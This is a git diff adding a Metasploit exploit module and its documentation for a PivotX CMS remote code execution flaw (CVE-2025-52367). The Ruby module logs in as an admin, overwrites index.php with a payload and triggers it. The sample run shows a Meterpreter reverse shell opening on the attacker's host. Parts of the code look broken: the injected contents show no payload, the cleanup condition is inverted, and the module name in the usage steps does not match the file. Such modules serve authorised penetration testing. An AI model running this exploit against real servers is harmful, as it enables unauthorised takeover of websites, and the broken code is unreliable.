diff --git a/documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md b/documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md new file mode 100644 index 0000000000000..c9449c49cd95a --- /dev/null +++ b/documentation/modules/exploit/linux/http/pivotx_index_php_overwrite.md @@ -0,0 +1,56 @@ +## Vulnerable Application + +PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general. +It's written in PHP and uses MySQL or flat files as a database. + +Install steps: + +1. Install Apache2, MySQL, PHP8.2+ +1. `git clone https://github.com/pivotx/PivotX.git` +1. Move `PivotX` to webfolder +1. Run the following from the web folder `sudo chown -R www-data:www-data ./` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use exploit/linux/http/pivotx_rce` +1. Do: `set USERNAME [PivotX username]` +1. Do: `set PASSWORD [PivotX password]` +1. Do: `set RHOSTS [target IP]` +1. Do: `set LHOST [attacker IP]` +1. Do: `run` + +## Options +### USERNAME + +PivotX username. + +### PASSWORD + +PivotX password. + +## Scenarios + +``` +msf exploit(linux/http/pivotx_index_php_overwrite) > run verbose=true +[*] Started reverse TCP handler on 192.168.168.128:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. Detected PivotX 3.0.0.pre.rc3 +[*] Logging in PivotX +[*] Modifying file and injecting payload +[*] Triggering payload +[*] Sending stage (40004 bytes) to 192.168.168.146 +[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:36104) at 2025-08-01 09:38:52 +0200 + +[*] Restoring original content + +meterpreter > +meterpreter > sysinfo +Computer : ubuntu +OS : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64 +Meterpreter : php/linux +meterpreter > getuid +Server username: www-data + +``` diff --git a/modules/exploits/linux/http/pivotx_index_php_overwrite.rb b/modules/exploits/linux/http/pivotx_index_php_overwrite.rb new file mode 100644 index 0000000000000..bbb8a65244f87 --- /dev/null +++ b/modules/exploits/linux/http/pivotx_index_php_overwrite.rb @@ -0,0 +1,162 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + include Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'PivotX Remote Code Execution', + 'Description' => %q{ + This module gains remote code execution in PivotX management system. The PivotX allows admin user to directly edit files on the webserver, including PHP files. The module exploits this by writing a malicious payload into `index.php` file, gaining remote code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'HayToN', # security research + 'msutovsky-r7' # module dev + ], + 'References' => [ + [ 'EDB', '52361' ], + [ 'URL', 'https://medium.com/@hayton1088/cve-2025-52367-stored-xss-to-rce-via-privilege-escalation-in-pivotx-cms-v3-0-0-rc-3-a1b870bcb7b3'], + [ 'CVE', '2025-52367'] + ], + 'Targets' => [ + [ + 'Linux', + { + 'Platform' => 'php', + 'Arch' => ARCH_PHP + } + ] + ], + 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' }, + 'DisclosureDate' => '2025-07-10', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] + } + ) + ) + register_options([ + OptString.new('USERNAME', [ true, 'PivotX username', '' ]), + OptString.new('PASSWORD', [true, 'PivotX password', '']), + OptString.new('TARGETURI', [true, 'The base path to PivotX', '/PivotX/']) + ]) + end + + def check + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php') + }) + + return Msf::Exploit::CheckCode::Unknown('Unexpected response') unless res&.code == 200 + + return Msf::Exploit::CheckCode::Safe('Target is not PivotX') unless res.body.include?('PivotX Powered') + + html_body = res.get_html_document + + return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ } + + version = Rex::Version.new(Regexp.last_match(1)) + + return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3') + + return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable") + end + + def login + data_post = Rex::MIME::Message.new + data_post.add_part('', nil, nil, %(form-data; name="returnto")) + data_post.add_part('', nil, nil, %(form-data; name="template")) + data_post.add_part(datastore['USERNAME'], nil, nil, %(form-data; name="username")) + data_post.add_part(datastore['PASSWORD'], nil, nil, %(form-data; name="password")) + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), + 'vars_get' => { 'page' => 'login' }, + 'ctype' => "multipart/form-data; boundary=#{data_post.bound}", + 'data' => data_post.to_s, + 'keep_cookies' => true + }) + + fail_with(Failure::NoAccess, 'Login failed, incorrect username/password') if res&.get_html_document&.at("//script[contains(., 'Incorrect username/password')]") + fail_with(Failure::Unknown, 'Login failed, unable to pivotxsession cookie') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/ + + @csrf_token = Regexp.last_match(1) + end + + def modify_file + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php'), + 'vars_get' => { 'page' => 'homeexplore' } + }) + + fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/ + + @base_dir = Regexp.last_match(1) + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), + 'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' } + }) + + fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200 + + @original_value = res.get_html_document.at('textarea')&.text + + fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), + 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => " #{@original_value}" } + }) + + fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') + end + + def trigger_payload + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.php') + }) + end + + def restore + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'), + 'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => @original_value } + }) + vprint_status('Restoring original content') + vprint_error('Failed to restore original content') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php') + end + + def cleanup + super + # original content can be any string, it cannot be nil + restore if @original_value.nil? + end + + def exploit + vprint_status('Logging in PivotX') + login + vprint_status('Modifying file and injecting payload') + modify_file + vprint_status('Triggering payload') + trigger_payload + end +end